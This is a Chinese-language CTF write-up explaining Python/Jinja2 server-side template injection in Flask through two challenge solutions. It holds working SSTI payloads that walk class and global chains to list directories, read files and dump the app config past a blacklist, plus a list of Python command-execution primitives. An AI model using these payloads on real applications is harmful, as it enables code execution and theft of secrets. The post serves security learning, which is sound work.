freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CTF引出对Python模板注入的思考
2020-09-21 18:43:50

前记

最近在做ctf的时候碰到了两道跟python模板注入有关的题,在看了网上各位大佬们的解析之后把flag解了出来,但是对原理还是不太清晰,于是心血来潮看了看。

题解

第一题是:Web_python_template_injection

题目如下:

由于题目有提示模板注入,于是尝试构造payload,如下:

220.249.52.133:46596/{{1+1}}

发现在URL后出现了1+1的返回值,说明传入的表达式被成功执行,存在模板注入。

但是此时我对模板注入并不了解,仅仅只是知道{{ }}内传入的表达式会被执行,于是决定浅究一下。

  • 问题一:为何构造的payload需要使用{{ }}来传入参数?

如果我不在payload中使用{{ }}来传递表达式会怎么样?

220.249.52.133:46596/1+1

结果如下:

表达式未被执行,原封不动地被返回,这样就引出了下一个问题,为什么会这样?

  • 问题二:此类python网站的大概工作原理是怎样的?

要解决上述两个问题,我需要先选择一个基于python的web框架了解一下,但是在此之前,我需要先回顾一下

  • Web Framework是什么?
  • Web 服务器的工作原理是什么?

引用一下这位大佬的帖子:

http://www.cnblogs.com/hazir/p/what_is_web_framework.html

其中我觉得很关键的一句话是这样的:

每个页面都以 HTML 的形式传送到你的浏览器中,HTML 是一种浏览器用来描述页面内容和结构的语言。那些负责发送 HTML 到浏览器的应用称之为“Web 服务器”,会让你迷惑的是,这些应用运行的机器通常也叫做 web 服务器。

然而,最重要的是要理解,到最后所有的 web 应用要做的事情就是发送 HTML 到浏览器。不管应用的逻辑多么复杂,最终的结果总是将 HTML 发送到浏览器(我故意将应用可以响应像 JSON 或者 CSS 等不同类型的数据忽略掉,因为在概念上是相同的)。

web 应用如何知道发送什么到浏览器呢?它发送浏览器请求的任何东西。

因为我没有什么网站开发的实际经验,就个人拙见来说,服务器与我们的个人pc之间通过网络通信(可以简单理解为 pc-运营商-服务器,这样一个路线,其实中间的网络传输过程很复杂,之后如果有空再细究一下这个过程...),网络只是介质,实际通信时我们与服务器之间需要使用一种协议来规范我们的通信,于是我们通过http/https协议来实现与服务器之间的信息交流。

在与服务器端通信时,我们先发送一个请求(get/post方法)告诉服务器端我们需要什么,服务器端接收到我们的请求,判断并执行相应的操作,然后将结果返回给我们。

这个过程就像去商店柜台买东西,我们告诉店员,我们需要一双adidas的球鞋,店员会转身从货架上取下一双给我们,然后我们又告诉店员,我们还需要一双aj11,店员会告诉你没货,对于我们不同的请求,店员会有不同的回应。

  • 那么Web框架是什么?到底有啥用?

我个人理解的Web框架,其实是建立一系列的Web应用的模式(或者说格式)。

正如上文所说的,我们的Web应用其实就是对每种不同客户端请求的响应方式,但是这里会涉及到两个重要问题:

  • 如何判断每种请求对应的响应方式?
  • 如何动态构造响应的结果返回给客户端,结果中带有计算得到的值或者从数据库中取出来的信息?

我总不能每写一种响应方式就要考虑一次上面的问题吧,那未免也太麻烦了,Web框架就是用来解决上面的问题的(当然其实远不止这些,其中还有各种接口的封装,各种协议的封装,总之就是为了给我们解决开发中的麻烦,只用轻轻松松写响应方式就好,大概...)

解决上述问题的两个办法,就是路由和模板。

由于下一题有用到flask,所以这里我们用flask来举例。

  • flask实现路由方式

在flask中,路由的实现方式主要是通过route()装饰器来实现的,例:

from flask import Flask
app = Flask(__name__)

@app.route('/function/<int:num>')
def test(num):
#...

route后的url中,参数值是以<type:name>的方式来传递的。

我们可以通过url xxx/function/xxx 来传入num值,访问我们的test方法。

当然,如果是静态页面,直接写上 '/function/xxx.html/' 就好。(ps:记得有看到过网上有帖子说,这里的url如果是写作'/function/xxx.html/ ',在正常访问时无论末尾有无/均可访问,如果url无/,而访问时末尾有/就会报错。)

  • flask实现模板方式

flask和django貌似都是使用templates来实现模板的。

而flask中使用的是Jinja2引擎。

Jinja2引擎存在以下三种语法:

  1. 控制结构 {% %}
  2. 变量取值 {{ }}
  3. 注释 {# #}

jinja2模板中使用 {{ }} 语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持python中所有的Python数据类型比如列表、字段、对象等。

问题就出在这里,{{ }}内的内容,Jinja2渲染时不仅仅只进行填充和替换,还能够执行部分表达式

flask在渲染时主要使用以下两种方法:

  • render_template
  • render_template_string

render_template用于渲染html文件

而render_template_string用于渲染html语句,当这个html语句是受用户控制的时候,就会出问题了。

例:

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def hello_world():
return 'Hello World!'

@app.route('/function/<int:num>')
def test(num):
print(num)
# ...

@app.route('/function2/')
def test2():
s = request.args.get('code')
html = '<h3>%s</h3>'%(s)
return render_template_string(html)
# ...

if __name__ == '__main__':
app.run()

构造payload:

http://127.0.0.1:5000/function2/?code={{3*2}}

可以看到{{ }}内的表达式被成功执行并返回。

而非{{ }}传递的表达式将不会被执行。

至此,我们解决了上述的问题一和问题二。

接下来我们回到题目本身:

  • 问题三:Payload该如何构造?为什么?

因为对python的研究不深,只能用大佬们写好的payload进行分析...

payload如下:

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

这条payload列出了当前目录下的所有文件。

{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

这条payload读出了fl4g的文件内容,从而成功拿到flag。

当然拿到flag并不是今天的重点,重点是为什么要这样构造payload。

  • __class__

__class__是python的一个内置属性,指的是某一对象的类属性

例:

  • __mro__

返回多类的继承顺序。(中间涉及到一些算法和继承特性,不是很了解,待有空补充学习一下。)

例:

注:python2 与python3的类继承有所不同,在接下来的场景复现时,python3中没有找到含有os模块的类方法,故接下来继续使用python2来演示。

例:

选择object类,我们继续往下看。

  • __subclasses__

__subclasses__() 函数获取类的所有子类。

例:

找到一个对象叫file

file.read([size]):从文件读取指定的字节数,如果未给定或为负则读取所有。

可利用此方法读取指定文件内容。

同时我们还需要寻找这些子类中,有哪些初始化方法中包含os模块。(为什么请见下文)

num = 0
for n in ''.__class__.__mro__:
print(n)

for item in ''.__class__.__mro__[2].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print num, item
num += 1
except:
print num, '-'
num += 1

通过上述脚本我们找到两个包含os模块的子类:

  • 为什么我们需要找到包含os模块的子类?

主要跟以下有关:

  • __init__.__globals__

__init__ 是类的初始化方法

__globals__ 而内置的__globals__方法返回全局变量

我们来看看globals返回的全局变量中都有些什么:

此时我们可以看到有一个名叫 'os'的变量,根据描述是一个从python环境中导入的os模块。

  • os模块中都有什么?

https://www.runoob.com/python/os-file-methods.html

os模块主要用于处理文件和文件目录

其中有一个我们下面要用到的函数:

os.listdir(path)

返回path指定的文件夹包含的文件或文件夹的名字的列表。

于是我们构造payload:

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

结合前面我们所说的file.read()函数:

{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

即可得出解答。

第二题是:shrine

题目如下:

查看源码:

开头

import flask
import os

猜测存在模板注入

接着往下看:

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

config为Flask类中的一个特殊方法,可通过config访问当前Flask中的config对象。

猜测这道题我们需要通过访问config下的‘FLAG’方法来获取flag值。

  • Flask中的特殊变量和方法:

https://blog.csdn.net/Enjolras_fuu/article/details/82229073

但是显然,代码中对config和self做了过滤:

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

借鉴了网上其他师傅们的解题思路:

https://www.cnblogs.com/Cl0ud/p/12316287.html

如下:

如果没有黑名单的时候,我们可以使用config,传入 config,或者使用self传入 {{self.__dict__}}

当config,self,()都被过滤的时候,为了获取讯息,我们需要读取一些例如current_app这样的全局变量。

python的沙箱逃逸这里的方法是利用python对象之间的引用关系来调用被禁用的函数对象。

这里有两个函数包含了current_app全局变量,url_for和get_flashed_messages

官方文档:https://flask.palletsprojects.com/en/1.0.x/api/#flask.get_flashed_messages

https://flask.palletsprojects.com/en/1.0.x/api/#flask.url_forbaobaoer.cn/archives/656/python-b2e7b180e9b880e793

于是我们构造payload:

/shrine/{{url_for.__globals__['current_app'].config}}

找到其中的的flag。

后记

其实其中还涉及到很多的知识点没有深究,比如Jinja2的工作方式,其中具体是如何渲染模板的

(其实有尝试溯源,最后找到一个compile函数但是没有过程,网上搜了搜,说是由c实现的,就没有继续了

还有对于python的各种类继承,魔术方法等,其实payload的构造方法可以有很多。(第二题有尝试过使用第一题的payload格式,但是貌似对__subclasses__方法进行了某种过滤,没有返回其结果也就作罢。)希望以后能多进行一些尝试。

对于os模块来说,os.system这个方法可以达到将shell解析为系统命令执行的效果,但是它无法返回我们命令执行后的结果,需要将结果curl到我们的公网vps上

同时python常用的实现shell的方式不止一种:os.system/os.popen/subprocess

详情可见:https://blog.csdn.net/bcfdsagbfcisbg/article/details/78134172?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.channel_param&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.channel_param

所以这里我们使用os.listdir来代替使用os.system来查找目录下的文件,并用file.read来读取。

引用一下一位大佬对可利用模块和方法的总结:

https://blog.csdn.net/Yu_csdnstory/article/details/98040258

Python中可以利用的方法和模块

1.任意代码或者命令执行

_ import _()函数

__import__("os").system("ls")

timeit模块

import timeit
timeit.timeit("__import__('os').system('ls')",number=1)


exec(),eval(),execfile(),compile()函数

eval('__import__("os").system("ls")')
exec("a+1")
compile('a = 1 + 2', '<string>', 'exec')

注意:execfile()只存在于Python2,Python3没有该函数

platform模块

import platform
platform.popen('dir').read()

os模块

import os
os.system('ls')
os.popen("ls").read()

subprocess模块

import subprocess
subprocess.Popen('ls', shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).stdout.read()

importlib模块

import importlib
importlib.import_module('os').system('ls')
#Python3可以,Python2没有该函数
importlib.__import__('os').system('ls')

2.文件操作

file()函数

file('test.txt').read()
#注意:该函数只存在于Python2,Python3不存在

open()函数

open('text.txt').read()

codecs模块

import codecs
codecs.open('test.txt').read()

结:

大概就是这样,希望后面有时间能继续深究。

小白第一次写文章,不对的地方希望各位师傅大佬指出!

# web安全 # python # SSTI
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者